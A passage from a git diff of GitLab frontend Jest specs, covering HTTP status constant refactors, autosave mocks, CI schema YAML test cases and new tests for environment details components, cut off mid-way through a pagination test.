- describe(description, () => {
- const exampleNames = Object.keys(markdownExamples);
-
- describe.each(exampleNames)('%s', (name) => {
- const exampleNamePrefix = 'verifies conversion of GLFM to';
- skipRunningSnapshotWysiwygHtmlTests =
- exampleStatuses[name]?.skip_running_snapshot_wysiwyg_html_tests;
- skipRunningSnapshotProsemirrorJsonTests =
- exampleStatuses[name]?.skip_running_snapshot_prosemirror_json_tests;
-
- const markdown = markdownExamples[name];
-
- if (skipRunningSnapshotWysiwygHtmlTests) {
- it.todo(`${exampleNamePrefix} HTML: ${skipRunningSnapshotWysiwygHtmlTests}`);
- } else {
- it(`${exampleNamePrefix} HTML`, async () => {
- const expectedHtml = expectedHtmlExamples[name].wysiwyg;
- const { html: actualHtml } = actualHtmlAndJsonExamples[name];
-
- // noinspection JSUnresolvedFunction (required to avoid RubyMine type inspection warning, because custom matchers auto-imported via Jest test setup are not automatically resolved - see https://youtrack.jetbrains.com/issue/WEB-42350/matcher-for-jest-is-not-recognized-but-it-is-runable)
- expect(actualHtml).toMatchExpectedForMarkdown(
- 'HTML',
- name,
- markdown,
- IMPLEMENTATION_ERROR_MSG,
- expectedHtml,
- );
- });
- }
-
- if (skipRunningSnapshotProsemirrorJsonTests) {
- it.todo(
- `${exampleNamePrefix} ProseMirror JSON: ${skipRunningSnapshotProsemirrorJsonTests}`,
- );
- } else {
- it(`${exampleNamePrefix} ProseMirror JSON`, async () => {
- const expectedJson = expectedProseMirrorJsonExamples[name];
- const { json: actualJson } = actualHtmlAndJsonExamples[name];
-
- // noinspection JSUnresolvedFunction
- expect(actualJson).toMatchExpectedForMarkdown(
- 'JSON',
- name,
- markdown,
- IMPLEMENTATION_ERROR_MSG,
- expectedJson,
- );
- });
- }
- });
- });
-};
diff --git a/spec/frontend/content_editor/services/upload_helpers_spec.js b/spec/frontend/content_editor/services/upload_helpers_spec.js
index ee9333232db..3423e4db3dc 100644
--- a/spec/frontend/content_editor/services/upload_helpers_spec.js
+++ b/spec/frontend/content_editor/services/upload_helpers_spec.js
@@ -1,7 +1,7 @@
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
import { uploadFile } from '~/content_editor/services/upload_helpers';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
describe('content_editor/services/upload_helpers', () => {
const uploadsPath = '/uploads';
@@ -26,7 +26,7 @@ describe('content_editor/services/upload_helpers', () => {
renderedMarkdown = parseHTML(renderedAttachmentLinkFixture);
mock = new MockAdapter(axios);
- mock.onPost(uploadsPath, formData).reply(httpStatus.OK, successResponse);
+ mock.onPost(uploadsPath, formData).reply(HTTP_STATUS_OK, successResponse);
renderMarkdown = jest.fn().mockResolvedValue(renderedAttachmentLinkFixture);
});
diff --git a/spec/frontend/deploy_freeze/store/mutations_spec.js b/spec/frontend/deploy_freeze/store/mutations_spec.js
index 984105d6655..a1e80ef0e6c 100644
--- a/spec/frontend/deploy_freeze/store/mutations_spec.js
+++ b/spec/frontend/deploy_freeze/store/mutations_spec.js
@@ -33,9 +33,9 @@ describe('Deploy freeze mutations', () => {
describe('RECEIVE_FREEZE_PERIODS_SUCCESS', () => {
it('should set freeze periods and format timezones from identifiers to names', () => {
const timezoneNames = {
- 'Europe/Berlin': '[UTC + 2] Berlin',
+ 'Europe/Berlin': '[UTC+2] Berlin',
'Etc/UTC': '[UTC 0] UTC',
- 'America/New_York': '[UTC - 4] Eastern Time (US & Canada)',
+ 'America/New_York': '[UTC-4] Eastern Time (US & Canada)',
};
mutations[types.RECEIVE_FREEZE_PERIODS_SUCCESS](stateCopy, freezePeriodsFixture);
diff --git a/spec/frontend/design_management/components/design_notes/design_reply_form_spec.js b/spec/frontend/design_management/components/design_notes/design_reply_form_spec.js
index 5fd61b25edc..f4d4f9cf896 100644
--- a/spec/frontend/design_management/components/design_notes/design_reply_form_spec.js
+++ b/spec/frontend/design_management/components/design_notes/design_reply_form_spec.js
@@ -5,6 +5,7 @@ import { confirmAction } from '~/lib/utils/confirm_via_gl_modal/confirm_via_gl_m
import DesignReplyForm from '~/design_management/components/design_notes/design_reply_form.vue';
jest.mock('~/lib/utils/confirm_via_gl_modal/confirm_via_gl_modal');
+jest.mock('~/autosave');
describe('Design reply form component', () => {
let wrapper;
@@ -78,12 +79,11 @@ describe('Design reply form component', () => {
createComponent({ discussionId });
await nextTick();
- // We discourage testing `wrapper.vm` properties but
- // since `autosave` library instantiates on component
- // there's no other way to test whether instantiation
- // happened correctly or not.
- expect(wrapper.vm.autosaveDiscussion).toBeInstanceOf(Autosave);
- expect(wrapper.vm.autosaveDiscussion.key).toBe(`autosave/Discussion/6/${shortDiscussionId}`);
+ expect(Autosave).toHaveBeenCalledWith(expect.any(Element), [
+ 'Discussion',
+ 6,
+ shortDiscussionId,
+ ]);
},
);
@@ -141,7 +141,7 @@ describe('Design reply form component', () => {
});
it('emits submitForm event on Comment button click', async () => {
- const autosaveResetSpy = jest.spyOn(wrapper.vm.autosaveDiscussion, 'reset');
+ const autosaveResetSpy = jest.spyOn(Autosave.prototype, 'reset');
findSubmitButton().vm.$emit('click');
@@ -151,7 +151,7 @@ describe('Design reply form component', () => {
});
it('emits submitForm event on textarea ctrl+enter keydown', async () => {
- const autosaveResetSpy = jest.spyOn(wrapper.vm.autosaveDiscussion, 'reset');
+ const autosaveResetSpy = jest.spyOn(Autosave.prototype, 'reset');
findTextarea().trigger('keydown.enter', {
ctrlKey: true,
@@ -163,7 +163,7 @@ describe('Design reply form component', () => {
});
it('emits submitForm event on textarea meta+enter keydown', async () => {
- const autosaveResetSpy = jest.spyOn(wrapper.vm.autosaveDiscussion, 'reset');
+ const autosaveResetSpy = jest.spyOn(Autosave.prototype, 'reset');
findTextarea().trigger('keydown.enter', {
metaKey: true,
@@ -178,7 +178,7 @@ describe('Design reply form component', () => {
findTextarea().setValue('test2');
await nextTick();
- expect(wrapper.emitted('input')).toEqual([['test'], ['test2']]);
+ expect(wrapper.emitted('input')).toEqual([['test2']]);
});
it('emits cancelForm event on Escape key if text was not changed', () => {
@@ -211,7 +211,7 @@ describe('Design reply form component', () => {
it('emits cancelForm event when confirmed', async () => {
confirmAction.mockResolvedValueOnce(true);
- const autosaveResetSpy = jest.spyOn(wrapper.vm.autosaveDiscussion, 'reset');
+ const autosaveResetSpy = jest.spyOn(Autosave.prototype, 'reset');
wrapper.setProps({ value: 'test3' });
await nextTick();
@@ -228,7 +228,7 @@ describe('Design reply form component', () => {
it("doesn't emit cancelForm event when not confirmed", async () => {
confirmAction.mockResolvedValueOnce(false);
- const autosaveResetSpy = jest.spyOn(wrapper.vm.autosaveDiscussion, 'reset');
+ const autosaveResetSpy = jest.spyOn(Autosave.prototype, 'reset');
wrapper.setProps({ value: 'test3' });
await nextTick();
diff --git a/spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap b/spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap
index 1acbf14db88..a4af73dd194 100644
--- a/spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap
+++ b/spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap
@@ -12,6 +12,7 @@ exports[`Design management design version dropdown component renders design vers
toggletext="Showing latest version"
variant="default"
>
+
<!---->
<!---->
@@ -24,6 +25,7 @@ exports[`Design management design version dropdown component renders design vers
tabindex="-1"
>
<gl-listbox-item-stub
+ data-testid="listbox-item-gid://gitlab/DesignManagement::Version/1"
ischeckcentered="true"
>
<span
@@ -66,6 +68,7 @@ exports[`Design management design version dropdown component renders design vers
</span>
</gl-listbox-item-stub>
<gl-listbox-item-stub
+ data-testid="listbox-item-gid://gitlab/DesignManagement::Version/2"
ischeckcentered="true"
>
<span
@@ -107,6 +110,10 @@ exports[`Design management design version dropdown component renders design vers
</span>
</span>
</gl-listbox-item-stub>
+
+ <!---->
+
+ <!---->
</ul>
<!---->
@@ -126,6 +133,7 @@ exports[`Design management design version dropdown component renders design vers
toggletext="Showing latest version"
variant="default"
>
+
<!---->
<!---->
@@ -138,6 +146,7 @@ exports[`Design management design version dropdown component renders design vers
tabindex="-1"
>
<gl-listbox-item-stub
+ data-testid="listbox-item-gid://gitlab/DesignManagement::Version/1"
ischeckcentered="true"
>
<span
@@ -180,6 +189,7 @@ exports[`Design management design version dropdown component renders design vers
</span>
</gl-listbox-item-stub>
<gl-listbox-item-stub
+ data-testid="listbox-item-gid://gitlab/DesignManagement::Version/2"
ischeckcentered="true"
>
<span
@@ -221,6 +231,10 @@ exports[`Design management design version dropdown component renders design vers
</span>
</span>
</gl-listbox-item-stub>
+
+ <!---->
+
+ <!---->
</ul>
<!---->
diff --git a/spec/frontend/diff_spec.js b/spec/frontend/diff_spec.js
new file mode 100644
index 00000000000..759ae32ac51
--- /dev/null
+++ b/spec/frontend/diff_spec.js
@@ -0,0 +1,72 @@
+import createEventHub from '~/helpers/event_hub_factory';
+
+import Diff from '~/diff';
+
+describe('Diff', () => {
+ describe('diff <-> tabs interactions', () => {
+ let hub;
+
+ beforeEach(() => {
+ hub = createEventHub();
+ });
+
+ describe('constructor', () => {
+ it("takes in the `mergeRequestEventHub` when it's provided", () => {
+ const diff = new Diff({ mergeRequestEventHub: hub });
+
+ expect(diff.mrHub).toBe(hub);
+ });
+
+ it('does not fatal if no event hub is provided', () => {
+ expect(() => {
+ new Diff(); /* eslint-disable-line no-new */
+ }).not.toThrow();
+ });
+
+ it("doesn't set the mrHub property if none is provided by the construction arguments", () => {
+ const diff = new Diff();
+
+ expect(diff.mrHub).toBe(undefined);
+ });
+ });
+
+ describe('viewTypeSwitch', () => {
+ const clickPath = '/path/somewhere?params=exist';
+ const jsonPath = 'http://test.host/path/somewhere.json?params=exist';
+ const simulatejQueryClick = {
+ originalEvent: {
+ target: {
+ getAttribute() {
+ return clickPath;
+ },
+ },
+ preventDefault: jest.fn(),
+ stopPropagation: jest.fn(),
+ },
+ };
+
+ it('emits the correct switch view event when called and there is an `mrHub`', async () => {
+ const diff = new Diff({ mergeRequestEventHub: hub });
+ const hubEmit = new Promise((resolve) => {
+ hub.$on('diff:switch-view-type', resolve);
+ });
+
+ diff.viewTypeSwitch(simulatejQueryClick);
+ const { source } = await hubEmit;
+
+ expect(simulatejQueryClick.originalEvent.preventDefault).toHaveBeenCalled();
+ expect(simulatejQueryClick.originalEvent.stopPropagation).toHaveBeenCalled();
+ expect(source).toBe(jsonPath);
+ });
+
+ it('is effectively a noop when there is no `mrHub`', () => {
+ const diff = new Diff();
+
+ expect(diff.mrHub).toBe(undefined);
+ expect(() => {
+ diff.viewTypeSwitch(simulatejQueryClick);
+ }).not.toThrow();
+ });
+ });
+ });
+});
diff --git a/spec/frontend/diffs/components/app_spec.js b/spec/frontend/diffs/components/app_spec.js
index 936f4744e94..c8be0bedb4c 100644
--- a/spec/frontend/diffs/components/app_spec.js
+++ b/spec/frontend/diffs/components/app_spec.js
@@ -107,6 +107,7 @@ describe('diffs/components/app', () => {
beforeEach(() => {
const fetchResolver = () => {
store.state.diffs.retrievingBatches = false;
+ store.state.notes.doneFetchingBatchDiscussions = true;
store.state.notes.discussions = 'test';
return Promise.resolve({ real_size: 100 });
};
diff --git a/spec/frontend/diffs/components/diff_file_spec.js b/spec/frontend/diffs/components/diff_file_spec.js
index 944cec77efb..ccfc36f8f16 100644
--- a/spec/frontend/diffs/components/diff_file_spec.js
+++ b/spec/frontend/diffs/components/diff_file_spec.js
@@ -18,7 +18,7 @@ import createDiffsStore from '~/diffs/store/modules';
import { diffViewerModes, diffViewerErrors } from '~/ide/constants';
import axios from '~/lib/utils/axios_utils';
import { scrollToElement } from '~/lib/utils/common_utils';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
import createNotesStore from '~/notes/stores/modules';
import { getDiffFileMock } from '../mock_data/diff_file';
import diffFileMockDataUnreadable from '../mock_data/diff_file_unreadable';
@@ -436,7 +436,7 @@ describe('DiffFile', () => {
describe('loading', () => {
it('should have loading icon while loading a collapsed diffs', async () => {
const { load_collapsed_diff_url } = store.state.diffs.diffFiles[0];
- axiosMock.onGet(load_collapsed_diff_url).reply(httpStatus.OK, getReadableFile());
+ axiosMock.onGet(load_collapsed_diff_url).reply(HTTP_STATUS_OK, getReadableFile());
makeFileAutomaticallyCollapsed(store);
wrapper.vm.requestDiff();
@@ -517,7 +517,7 @@ describe('DiffFile', () => {
viewer: { name: 'collapsed', automaticallyCollapsed: true },
};
- axiosMock.onGet(file.load_collapsed_diff_url).reply(httpStatus.OK, getReadableFile());
+ axiosMock.onGet(file.load_collapsed_diff_url).reply(HTTP_STATUS_OK, getReadableFile());
({ wrapper, store } = createComponent({ file, props: { viewDiffsFileByFile: true } }));
diff --git a/spec/frontend/diffs/components/diff_line_note_form_spec.js b/spec/frontend/diffs/components/diff_line_note_form_spec.js
index 9493dc8855e..bd0e3455872 100644
--- a/spec/frontend/diffs/components/diff_line_note_form_spec.js
+++ b/spec/frontend/diffs/components/diff_line_note_form_spec.js
@@ -101,7 +101,8 @@ describe('DiffLineNoteForm', () => {
});
it('should init autosave', () => {
- expect(Autosave).toHaveBeenCalledWith({}, [
+ // we're using shallow mount here so there's no element to pass to Autosave
+ expect(Autosave).toHaveBeenCalledWith(undefined, [
'Note',
'Issue',
98,
diff --git a/spec/frontend/dropzone_input_spec.js b/spec/frontend/dropzone_input_spec.js
index 0fe70bac6b7..0f7926ccbf9 100644
--- a/spec/frontend/dropzone_input_spec.js
+++ b/spec/frontend/dropzone_input_spec.js
@@ -7,7 +7,7 @@ import { TEST_HOST } from 'spec/test_constants';
import PasteMarkdownTable from '~/behaviors/markdown/paste_markdown_table';
import dropzoneInput from '~/dropzone_input';
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
const TEST_FILE = new File([], 'somefile.jpg');
TEST_FILE.upload = {};
@@ -92,7 +92,7 @@ describe('dropzone_input', () => {
],
});
- axiosMock.onPost().reply(httpStatusCodes.OK, { link: { markdown: 'foo' } });
+ axiosMock.onPost().reply(HTTP_STATUS_OK, { link: { markdown: 'foo' } });
await waitForPromises();
expect(axiosMock.history.post[0].data.get('file').name).toHaveLength(246);
});
@@ -131,7 +131,7 @@ describe('dropzone_input', () => {
},
],
});
- axiosMock.onPost().reply(httpStatusCodes.OK, { link: { markdown: 'foo' } });
+ axiosMock.onPost().reply(HTTP_STATUS_OK, { link: { markdown: 'foo' } });
await waitForPromises();
expect(axiosMock.history.post[0].data.get('file').name).toEqual('test.png');
});
diff --git a/spec/frontend/editor/schema/ci/json_tests/positive_tests/gitlab-ci.json b/spec/frontend/editor/schema/ci/json_tests/positive_tests/gitlab-ci.json
index 666a4852957..17a1b4474b6 100644
--- a/spec/frontend/editor/schema/ci/json_tests/positive_tests/gitlab-ci.json
+++ b/spec/frontend/editor/schema/ci/json_tests/positive_tests/gitlab-ci.json
@@ -107,7 +107,6 @@
"container_scanning": "scan2.json",
"dast": "dast.json",
"license_management": "license.json",
- "performance": "performance.json",
"metrics": "metrics.txt"
}
},
@@ -160,7 +159,6 @@
"container_scanning": ["scan2.json"],
"dast": ["dast.json"],
"license_management": ["license.json"],
- "performance": ["performance.json"],
"metrics": ["metrics.txt"]
}
},
diff --git a/spec/frontend/editor/schema/ci/yaml_tests/negative_tests/artifacts.yml b/spec/frontend/editor/schema/ci/yaml_tests/negative_tests/artifacts.yml
index 29f4a0cd76d..996a48f7bc6 100644
--- a/spec/frontend/editor/schema/ci/yaml_tests/negative_tests/artifacts.yml
+++ b/spec/frontend/editor/schema/ci/yaml_tests/negative_tests/artifacts.yml
@@ -1,5 +1,30 @@
-# invalid artifact:reports:cyclonedx
+# invalid artifact:reports:browser_performance
+browser_performance no paths:
+ artifacts:
+ reports:
+ browser_performance:
+
+## Lists (or globs) are not allowed!
+browser_performance list of string paths:
+ artifacts:
+ reports:
+ browser_performance:
+ - foo
+ - ./bar/baz
+
+browser_performance mixed list of string paths and globs:
+ artifacts:
+ reports:
+ browser_performance:
+ - ./foo
+ - "bar/*.baz"
+
+browser_performance string array:
+ artifacts:
+ reports:
+ browser_performance: ["foo", "blah"]
+# invalid artifact:reports:cyclonedx
cyclonedx no paths:
artifacts:
reports:
@@ -17,6 +42,19 @@ cyclonedx not an array or string:
- foo
- bar
+# invalid artifacts:reports:coverage_report
+coverage-report-is-string:
+ artifacts:
+ reports:
+ coverage_report: cobertura
+
+# invalid artifact:reports:performance
+# Superceded by: artifact:reports:browser_performance
+performance string path:
+ artifacts:
+ reports:
+ performance: foo
+
# invalid artifacts:when
artifacts-when-unknown:
artifacts:
diff --git a/spec/frontend/editor/schema/ci/yaml_tests/negative_tests/rules.yml b/spec/frontend/editor/schema/ci/yaml_tests/negative_tests/rules.yml
index d74a681b23b..f4a08492574 100644
--- a/spec/frontend/editor/schema/ci/yaml_tests/negative_tests/rules.yml
+++ b/spec/frontend/editor/schema/ci/yaml_tests/negative_tests/rules.yml
@@ -12,3 +12,8 @@ wrong path declaration:
rules:
- changes:
paths: { file: 'DOCKER' }
+
+# invalid rules:if
+rules-if-empty:
+ rules:
+ - if: \ No newline at end of file
diff --git a/spec/frontend/editor/schema/ci/yaml_tests/positive_tests/artifacts.yml b/spec/frontend/editor/schema/ci/yaml_tests/positive_tests/artifacts.yml
index a5c9153ee13..70761a09b58 100644
--- a/spec/frontend/editor/schema/ci/yaml_tests/positive_tests/artifacts.yml
+++ b/spec/frontend/editor/schema/ci/yaml_tests/positive_tests/artifacts.yml
@@ -1,5 +1,10 @@
-# valid artifact:reports:cyclonedx
+# valid artifact:reports:browser_performance
+browser_performance string path:
+ artifacts:
+ reports:
+ browser_performance: foo
+# valid artifact:reports:cyclonedx
cyclonedx string path:
artifacts:
reports:
@@ -24,6 +29,19 @@ cylonedx mixed list of string paths and globs:
- ./foo
- "bar/*.baz"
+# valid artifacts:reports:coverage_report
+coverage-report-cobertura:
+ artifacts:
+ reports:
+ coverage_report:
+ coverage_format: cobertura
+ path: coverage/cobertura-coverage.xml
+
+coverage-report-null:
+ artifacts:
+ reports:
+ coverage_report: null
+
# valid artifacts:when
artifacts-when-on-failure:
artifacts:
diff --git a/spec/frontend/editor/schema/ci/yaml_tests/positive_tests/rules.yml b/spec/frontend/editor/schema/ci/yaml_tests/positive_tests/rules.yml
index ef604f707b5..5dfaf323b22 100644
--- a/spec/frontend/editor/schema/ci/yaml_tests/positive_tests/rules.yml
+++ b/spec/frontend/editor/schema/ci/yaml_tests/positive_tests/rules.yml
@@ -28,3 +28,7 @@ workflow:
variables:
IS_A_FEATURE: 'true'
when: always
+
+# valid rules:null
+rules-null:
+ rules: null
diff --git a/spec/frontend/environments/environment_details/deployment_job_spec.js b/spec/frontend/environments/environment_details/deployment_job_spec.js
new file mode 100644
index 00000000000..9bb61abb293
--- /dev/null
+++ b/spec/frontend/environments/environment_details/deployment_job_spec.js
@@ -0,0 +1,49 @@
+import { GlTruncate, GlLink, GlBadge } from '@gitlab/ui';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import DeploymentJob from '~/environments/environment_details/components/deployment_job.vue';
+
+describe('app/assets/javascripts/environments/environment_details/components/deployment_job.vue', () => {
+ const jobData = {
+ webPath: 'http://example.com',
+ label: 'example job',
+ };
+ let wrapper;
+
+ const createWrapper = ({ job }) => {
+ return mountExtended(DeploymentJob, {
+ propsData: {
+ job,
+ },
+ });
+ };
+
+ describe('when the job data exists', () => {
+ beforeEach(() => {
+ wrapper = createWrapper({ job: jobData });
+ });
+
+ it('should render a link with a correct href', () => {
+ const jobLink = wrapper.findComponent(GlLink);
+ expect(jobLink.exists()).toBe(true);
+ expect(jobLink.attributes().href).toBe(jobData.webPath);
+ });
+ it('should render a truncated label', () => {
+ const truncatedLabel = wrapper.findComponent(GlTruncate);
+ expect(truncatedLabel.exists()).toBe(true);
+ expect(truncatedLabel.props().text).toBe(jobData.label);
+ });
+ });
+
+ describe('when the job data does not exist', () => {
+ beforeEach(() => {
+ wrapper = createWrapper({ job: null });
+ });
+
+ it('should render a badge with the text "API"', () => {
+ const badge = wrapper.findComponent(GlBadge);
+ expect(badge.exists()).toBe(true);
+ expect(badge.props().variant).toBe('info');
+ expect(badge.text()).toBe('API');
+ });
+ });
+});
diff --git a/spec/frontend/environments/environment_details/deployment_status_link_spec.js b/spec/frontend/environments/environment_details/deployment_status_link_spec.js
new file mode 100644
index 00000000000..5db7740423a
--- /dev/null
+++ b/spec/frontend/environments/environment_details/deployment_status_link_spec.js
@@ -0,0 +1,57 @@
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import DeploymentStatusLink from '~/environments/environment_details/components/deployment_status_link.vue';
+import DeploymentStatusBadge from '~/environments/components/deployment_status_badge.vue';
+
+describe('app/assets/javascripts/environments/environment_details/components/deployment_status_link.vue', () => {
+ const testData = {
+ webPath: 'http://example.com',
+ status: 'success',
+ };
+ let wrapper;
+
+ const createWrapper = (props) => {
+ return mountExtended(DeploymentStatusLink, {
+ propsData: props,
+ });
+ };
+
+ describe('when the job link exists', () => {
+ beforeEach(() => {
+ wrapper = createWrapper({
+ deploymentJob: { webPath: testData.webPath },
+ status: testData.status,
+ });
+ });
+
+ it('should render a link with a correct href', () => {
+ const jobLink = wrapper.findByTestId('deployment-status-job-link');
+ expect(jobLink.exists()).toBe(true);
+ expect(jobLink.attributes().href).toBe(testData.webPath);
+ });
+
+ it('should render a status badge', () => {
+ const statusBadge = wrapper.findComponent(DeploymentStatusBadge);
+ expect(statusBadge.exists()).toBe(true);
+ expect(statusBadge.props().status).toBe(testData.status);
+ });
+ });
+
+ describe('when no deployment job is provided', () => {
+ beforeEach(() => {
+ wrapper = createWrapper({
+ status: testData.status,
+ });
+ });
+
+ it('should render a link with a correct href', () => {
+ const jobLink = wrapper.findByTestId('deployment-status-job-link');
+ expect(jobLink.exists()).toBe(false);
+ });
+
+ it('should render only a status badge', () => {
+ const statusBadge = wrapper.findComponent(DeploymentStatusBadge);
+ expect(statusBadge.exists()).toBe(true);
+ expect(statusBadge.props().status).toBe(testData.status);
+ });
+ });
+});
diff --git a/spec/frontend/environments/environment_details/deployment_triggerer_spec.js b/spec/frontend/environments/environment_details/deployment_triggerer_spec.js
new file mode 100644
index 00000000000..48af82661bf
--- /dev/null
+++ b/spec/frontend/environments/environment_details/deployment_triggerer_spec.js
@@ -0,0 +1,51 @@
+import { GlAvatar, GlAvatarLink } from '@gitlab/ui';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import DeploymentTriggerer from '~/environments/environment_details/components/deployment_triggerer.vue';
+
+describe('app/assets/javascripts/environments/environment_details/components/deployment_triggerer.vue', () => {
+ const triggererData = {
+ id: 'gid://gitlab/User/1',
+ webUrl: 'http://gdk.test:3000/root',
+ name: 'Administrator',
+ avatarUrl: 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
+ };
+ let wrapper;
+
+ const createWrapper = ({ triggerer }) => {
+ return mountExtended(DeploymentTriggerer, {
+ propsData: {
+ triggerer,
+ },
+ });
+ };
+
+ describe('when the triggerer data exists', () => {
+ beforeEach(() => {
+ wrapper = createWrapper({ triggerer: triggererData });
+ });
+
+ it('should render an avatar link with a correct href', () => {
+ const triggererAvatarLink = wrapper.findComponent(GlAvatarLink);
+ expect(triggererAvatarLink.exists()).toBe(true);
+ expect(triggererAvatarLink.attributes().href).toBe(triggererData.webUrl);
+ });
+
+ it('should render an avatar', () => {
+ const triggererAvatar = wrapper.findComponent(GlAvatar);
+ expect(triggererAvatar.exists()).toBe(true);
+ expect(triggererAvatar.attributes().title).toBe(triggererData.name);
+ expect(triggererAvatar.props().src).toBe(triggererData.avatarUrl);
+ });
+ });
+
+ describe('when the triggerer data does not exist', () => {
+ beforeEach(() => {
+ wrapper = createWrapper({ triggerer: null });
+ });
+
+ it('should render nothing', () => {
+ const avatarLink = wrapper.findComponent(GlAvatarLink);
+ expect(avatarLink.exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/environments/environment_details/empty_state_spec.js b/spec/frontend/environments/environment_details/empty_state_spec.js
new file mode 100644
index 00000000000..aaf597d68ed
--- /dev/null
+++ b/spec/frontend/environments/environment_details/empty_state_spec.js
@@ -0,0 +1,39 @@
+import { GlEmptyState } from '@gitlab/ui';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import EmptyState from '~/environments/environment_details/empty_state.vue';
+import {
+ translations,
+ environmentsHelpPagePath,
+ codeBlockPlaceholders,
+} from '~/environments/environment_details/constants';
+
+describe('~/environments/environment_details/empty_state.vue', () => {
+ let wrapper;
+
+ const createWrapper = () => {
+ return mountExtended(EmptyState);
+ };
+
+ describe('when Empty State is rendered for environment details page', () => {
+ beforeEach(() => {
+ wrapper = createWrapper();
+ });
+
+ it('should render the proper title', () => {
+ expect(wrapper.text()).toContain(translations.emptyStateTitle);
+ });
+
+ it('should render GlEmptyState component with correct props', () => {
+ const glEmptyStateComponent = wrapper.findComponent(GlEmptyState);
+ expect(glEmptyStateComponent.props().primaryButtonText).toBe(
+ translations.emptyStatePrimaryButton,
+ );
+ expect(glEmptyStateComponent.props().primaryButtonLink).toBe(environmentsHelpPagePath);
+ });
+
+ it('should render formatted description', () => {
+ expect(wrapper.text()).not.toContain(codeBlockPlaceholders.code[0]);
+ expect(wrapper.text()).not.toContain(codeBlockPlaceholders.code[1]);
+ });
+ });
+});
diff --git a/spec/frontend/environments/environment_details/page_spec.js b/spec/frontend/environments/environment_details/page_spec.js
new file mode 100644
index 00000000000..3a1a3238abe
--- /dev/null
+++ b/spec/frontend/environments/environment_details/page_spec.js
@@ -0,0 +1,69 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import { GlLoadingIcon, GlTableLite } from '@gitlab/ui';
+import resolvedEnvironmentDetails from 'test_fixtures/graphql/environments/graphql/queries/environment_details.query.graphql.json';
+import emptyEnvironmentDetails from 'test_fixtures/graphql/environments/graphql/queries/environment_details.query.graphql.empty.json';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import EnvironmentsDetailPage from '~/environments/environment_details/index.vue';
+import EmptyState from '~/environments/environment_details/empty_state.vue';
+import getEnvironmentDetails from '~/environments/graphql/queries/environment_details.query.graphql';
+import createMockApollo from '../../__helpers__/mock_apollo_helper';
+import waitForPromises from '../../__helpers__/wait_for_promises';
+
+describe('~/environments/environment_details/page.vue', () => {
+ Vue.use(VueApollo);
+
+ let wrapper;
+
+ const defaultWrapperParameters = {
+ resolvedData: resolvedEnvironmentDetails,
+ };
+
+ const createWrapper = ({ resolvedData } = defaultWrapperParameters) => {
+ const mockApollo = createMockApollo([
+ [getEnvironmentDetails, jest.fn().mockResolvedValue(resolvedData)],
+ ]);
+
+ return mountExtended(EnvironmentsDetailPage, {
+ apolloProvider: mockApollo,
+ propsData: {
+ projectFullPath: 'gitlab-group/test-project',
+ environmentName: 'test-environment-name',
+ },
+ });
+ };
+
+ describe('when fetching data', () => {
+ it('should show a loading indicator', () => {
+ wrapper = createWrapper();
+
+ expect(wrapper.findComponent(GlLoadingIcon).exists()).toBe(true);
+ expect(wrapper.findComponent(GlTableLite).exists()).not.toBe(true);
+ });
+ });
+
+ describe('when data is fetched', () => {
+ describe('and there are deployments', () => {
+ beforeEach(async () => {
+ wrapper = createWrapper();
+ await waitForPromises();
+ });
+ it('should render a table when query is loaded', async () => {
+ expect(wrapper.findComponent(GlLoadingIcon).exists()).not.toBe(true);
+ expect(wrapper.findComponent(GlTableLite).exists()).toBe(true);
+ });
+ });
+
+ describe('and there are no deployments', () => {
+ beforeEach(async () => {
+ wrapper = createWrapper({ resolvedData: emptyEnvironmentDetails });
+ await waitForPromises();
+ });
+
+ it('should render empty state component', async () => {
+ expect(wrapper.findComponent(GlTableLite).exists()).toBe(false);
+ expect(wrapper.findComponent(EmptyState).exists()).toBe(true);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/environments/environment_details/pagination_spec.js b/spec/frontend/environments/environment_details/pagination_spec.js
new file mode 100644
index 00000000000..107f3c3dd5e
--- /dev/null
+++ b/spec/frontend/environments/environment_details/pagination_spec.js
@@ -0,0 +1,157 @@
+import { GlKeysetPagination } from '@gitlab/ui';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import Pagination from '~/environments/environment_details/pagination.vue';
+
+describe('~/environments/environment_details/pagniation.vue', () => {
+ const mockRouter = {
+ push: jest.fn(),
+ };
+
+ const pageInfo = {
+ startCursor: 'eyJpZCI6IjE2In0',
+ endCursor: 'eyJpZCI6IjIifQ',
+ hasNextPage: true,
+ hasPreviousPage: true,
+ };
+ let wrapper;
+
+ const createWrapper = (pageInfoProp) => {
+ return mountExtended(Pagination, {
+ propsData: {
+ pageInfo: pageInfoProp,
+ },
+ mocks: {
+ $router: mockRouter,
+ },
+ });
+ };
+
+ describe('when neither next nor previous page exists', () => {
+ beforeEach(() => {
+ const emptyPageInfo = { ...pageInfo, hasPreviousPage: false, hasNextPage: false };
+ wrapper = createWrapper(emptyPageInfo);
+ });
+
+ it('should not render pagination component', () => {
+ expect(wrapper.html()).toBe('');
+ });
+ });
+
+ describe('when Pagination is rendered for environment details page', () => {
+ beforeEach(() => {
+ wrapper = createWrapper(pageInfo);
+ });
+
+ it('should pass correct props to keyset pagination', () => {
+ const glPagination = wrapper.findComponent(GlKeysetPagination);
+ expect(glPagination.exists()).toBe(true);
+ expect(glPagination.props()).toEqual(expect.objectContaining(pageInfo));
+ });
+
+ describe.each([
+ {
+ testPageInfo: pageInfo,
+ expectedAfter: `after=${pageInfo.endCursor}`,
+ expectedBefore: `before=${pageInfo.startCursor}`,
+ },
+ {
